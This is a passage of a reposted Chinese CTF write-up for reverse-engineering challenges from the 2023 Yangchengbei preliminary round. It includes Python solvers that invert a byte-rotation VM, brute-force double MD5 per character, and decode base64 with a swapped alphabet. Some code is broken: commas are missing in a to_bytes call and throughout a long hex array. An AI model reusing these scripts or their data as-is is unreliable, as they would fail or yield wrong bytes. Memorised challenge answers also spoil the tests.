    tmp = 0xBEEDBEEF.to_bytes(4'little')
    x = (x >> 1) | ((x << 7) & 0xff)
    x ^= tmp[0]
    x = (x >> 2) | ((x << 6) & 0xff)
    x ^= tmp[1]
    x = (x >> 3) | ((x << 5) & 0xff)
    x ^= tmp[2]
    x = (x >> 4) | ((x << 4) & 0xff)
    x ^= tmp[3]
    return x

def unvm(x):
    tmp = 0xBEEDBEEF.to_bytes(4'little')
    x ^= tmp[3]
    x = (x >> 4) | ((x << 4) & 0xff)
    x ^= tmp[2]
    x = (x >> 5) | ((x << 3) & 0xff)
    x ^= tmp[1]
    x = (x >> 6) | ((x << 2) & 0xff)
    x ^= tmp[0]
    x = (x >> 7) | ((x << 1) & 0xff)
    return x

flag = []
for x in dst:
    x = (x >> 3) | ((x << 5) & 0xff)
    flag.append(unvm(x))
print(bytes(flag))

可得flag

2023羊城杯初赛WriteUp by SAINTSEC

Blast

bcf混淆(随便nop了一下,搞到能看的程度),可以看到md5初始化的常量

2023羊城杯初赛WriteUp by SAINTSEC

根据后几个函数的操作可以分别猜出

2023羊城杯初赛WriteUp by SAINTSEC

可以知道对flag[i]做了md5的操作

后面的操作就是一个hex

2023羊城杯初赛WriteUp by SAINTSEC

然后到了下一个函数里继续是md5+hex,最后比对

2023羊城杯初赛WriteUp by SAINTSEC
2023羊城杯初赛WriteUp by SAINTSEC

就是一个在可见字符范围内纯爆破md5(md5(x).hexdigest()).hexdigest()

写exp:

from hashlib import md5

s = [0x310x340x640x380x390x630x330x380x630x640x300x660x620x320x330x610x310x340x620x650x320x370x390x380x640x340x340x390x630x310x380x320x000x610x390x340x380x330x370x620x310x380x660x380x660x340x330x660x320x390x340x340x380x620x340x300x610x360x650x370x330x380x360x620x610x000x610x660x380x350x640x350x310x320x350x390x340x660x630x380x340x610x350x630x360x350x650x630x390x390x370x300x390x350x360x650x610x350x000x610x660x380x350x640x350x310x320x350x390x340x660x630x380x340x610x350x630x360x350x650x630x390x390x370x300x390x350x360x650x610x350x000x310x300x650x320x310x640x610x320x330x370x610x340x610x310x340x390x310x650x370x360x390x640x660x360x660x340x630x330x620x340x310x390x000x610x370x300x350x650x380x320x380x300x300x380x320x660x390x330x660x300x370x650x330x340x380x360x360x330x360x660x330x380x320x370x610x000x320x390x370x650x370x630x610x310x320x370x640x320x650x650x660x360x370x340x630x310x310x390x330x330x310x660x650x330x300x640x660x660x000x620x350x640x320x300x390x390x650x340x390x620x640x620x300x370x620x380x310x370x360x640x660x660x350x650x320x330x620x330x630x310x340x000x380x330x620x650x320x360x340x650x620x340x350x320x660x630x660x300x610x310x630x330x320x320x660x320x630x370x630x620x660x390x380x370x000x610x390x340x380x330x370x620x310x380x660x380x660x340x330x660x320x390x340x340x380x620x340x300x610x360x650x370x330x380x360x620x610x000x370x310x620x300x340x330x380x620x660x340x360x610x610x320x360x390x320x380x630x370x660x350x610x330x370x310x640x360x310x390x650x310x000x610x370x300x350x650x380x320x380x300x300x380x320x660x390x330x660x300x370x650x330x340x380x360x360x330x360x660x330x380x320x370x610x000x610x630x340x390x300x370x330x610x370x310x360x350x660x340x310x630x350x370x650x620x320x630x310x380x300x360x610x370x300x390x320x650x000x610x390x340x380x330x370x620x310x380x660x380x660x340x330x660x320x390x340x340x380x620x340x300x610x360x650x370x330x380x360x620x610x000x610x660x380x350x640x350x310x320x350x390x340x660x630x380x340x610x350x630x360x350x650x630x390x390x370x300x390x350x360x650x610x350x000x650x640x310x300x380x660x360x390x310x390x650x620x610x640x630x380x650x380x300x390x660x380x620x380x360x650x660x340x300x620x300x350x000x310x300x650x320x310x640x610x320x330x370x610x340x610x310x340x390x310x650x370x360x390x640x660x360x660x340x630x330x620x340x310x390x000x330x630x660x640x340x330x360x390x310x390x620x630x330x310x300x370x640x360x380x620x390x310x320x650x650x360x340x370x660x330x340x310x000x610x370x300x350x650x380x320x380x300x300x380x320x660x390x330x660x300x370x650x330x340x380x360x360x330x360x660x330x380x320x370x610x000x360x350x630x310x360x320x660x370x630x340x330x360x310x320x620x610x310x620x640x660x340x640x300x660x320x390x310x320x620x620x630x300x000x310x300x650x320x310x640x610x320x330x370x610x340x610x310x340x390x310x650x370x360x390x640x660x360x660x340x630x330x620x340x310x390x000x610x370x300x350x650x380x320x380x300x300x380x320x660x390x330x660x300x370x650x330x340x380x360x360x330x360x660x330x380x320x370x610x000x330x630x660x640x340x330x360x390x310x390x620x630x330x310x300x370x640x360x380x620x390x310x320x650x650x360x340x370x660x330x340x310x000x350x350x370x340x360x300x640x330x310x370x610x650x380x370x340x630x390x320x340x650x390x620x650x330x330x360x610x380x330x630x620x650x000x610x370x300x350x650x380x320x380x300x300x380x320x660x390x330x660x300x370x650x330x340x380x360x360x330x360x660x330x380x320x370x610x000x390x320x300x330x640x380x610x320x360x650x320x340x310x650x360x330x650x340x620x330x350x620x330x350x320x370x340x340x300x390x390x380x000x310x300x650x320x310x640x610x320x330x370x610x340x610x310x340x390x310x650x370x360x390x640x660x360x660x340x630x330x620x340x310x390x000x660x390x310x620x320x360x360x330x660x650x620x620x610x380x610x380x380x340x340x380x370x660x370x640x650x350x650x310x640x320x340x390x000x610x370x300x350x650x380x320x380x300x300x380x320x660x390x330x660x300x370x650x330x340x380x360x360x330x360x660x330x380x320x370x610x000x640x370x610x660x640x650x330x650x370x300x350x390x630x640x300x610x300x660x650x300x390x650x650x630x340x620x300x300x300x380x630x640x000x340x380x380x630x340x320x380x630x640x340x610x380x640x390x310x360x640x650x650x650x370x630x310x360x310x330x630x380x620x320x660x640x000x330x390x610x620x650x340x620x630x610x390x300x340x620x630x610x350x610x310x310x310x320x310x390x350x350x610x320x390x390x360x620x660x000x610x370x300x350x650x380x320x380x300x300x380x320x660x390x330x660x300x370x650x330x340x380x360x360x330x360x660x330x380x320x370x610x000x330x630x660x640x340x330x360x390x310x390x620x630x330x310x300x370x640x360x380x620x390x310x320x650x650x360x340x370x660x330x340x310x000x330x390x610x620x650x340x620x630x610x390x300x340x620x630x610x350x610x310x310x310x320x310x390x350x350x610x320x390x390x360x620x660x000x340x650x340x340x660x310x610x630x380x350x630x640x360x300x650x330x630x610x610x350x360x620x660x640x340x610x660x620x360x370x350x650x000x340x350x630x660x380x640x640x660x610x650x310x640x370x380x370x340x310x640x380x660x310x630x360x320x320x360x380x390x650x340x610x660x000x330x630x660x640x340x330x360x390x310x390x620x630x330x310x300x370x640x360x380x620x390x310x320x650x650x360x340x370x660x330x340x310x000x330x390x610x620x650x340x620x630x610x390x300x340x620x630x610x350x610x310x310x310x320x310x390x350x350x610x320x390x390x360x620x660x000x340x650x340x340x660x310x610x630x380x350x630x640x360x300x650x330x630x610x610x350x360x620x660x640x340x610x660x620x360x370x350x650x000x330x370x330x320x370x620x620x300x360x630x380x330x630x620x320x390x630x650x660x640x650x310x390x360x330x650x610x350x380x380x610x610x000x610x370x300x350x650x380x320x380x300x300x380x320x660x390x330x660x300x370x650x330x340x380x360x360x330x360x660x330x380x320x370x610x000x320x330x650x360x350x610x360x370x390x310x300x350x620x380x350x630x350x640x630x370x300x330x340x660x640x650x640x340x660x620x350x660x000x310x300x650x320x310x640x610x320x330x370x610x340x610x310x340x390x310x650x370x360x390x640x660x360x660x340x630x330x620x340x310x390x000x370x310x620x300x340x330x380x620x660x340x360x610x610x320x360x390x320x380x630x370x660x350x610x330x370x310x640x360x310x390x650x310x000x610x660x380x350x640x350x310x320x350x390x340x660x630x380x340x610x350x630x360x350x650x630x390x390x370x300x390x350x360x650x610x350x000x330x390x610x620x650x340x620x630x610x390x300x340x620x630x610x350x610x310x310x310x320x310x390x350x350x610x320x390x390x360x620x66]
md5s = bytes(s).split(b'\x00')
flag = ""

for i in range(len(md5s)):
    for x in range(33127):
        if md5(md5(chr(x).encode()).hexdigest().encode()).hexdigest() == md5s[i].decode():
            flag += chr(x)
            break

print(flag)

得出flag

2023羊城杯初赛WriteUp by SAINTSEC

CSGO

用了cgo,enc函数就是个base64

2023羊城杯初赛WriteUp by SAINTSEC

动态调试可以找到表

2023羊城杯初赛WriteUp by SAINTSEC

base64换表即可得到flag

2023羊城杯初赛WriteUp by SAINTSEC

exp:

import base64

newT = "LMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJK"
oldT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
s = "cPQebAcRp+n+ZeP+YePEWfP7bej4YefCYd/7cuP7WfcPb/URYeMRbesObi/="
flag = base64.b64decode(s.translate(str.maketrans(newT, oldT)))
print(flag)

可得flag

2023羊城杯初赛WriteUp by SAINTSEC

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月10日12:16:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023羊城杯初赛WriteUp by SAINTSEChttp://cn-sec.com/archives/3052120.html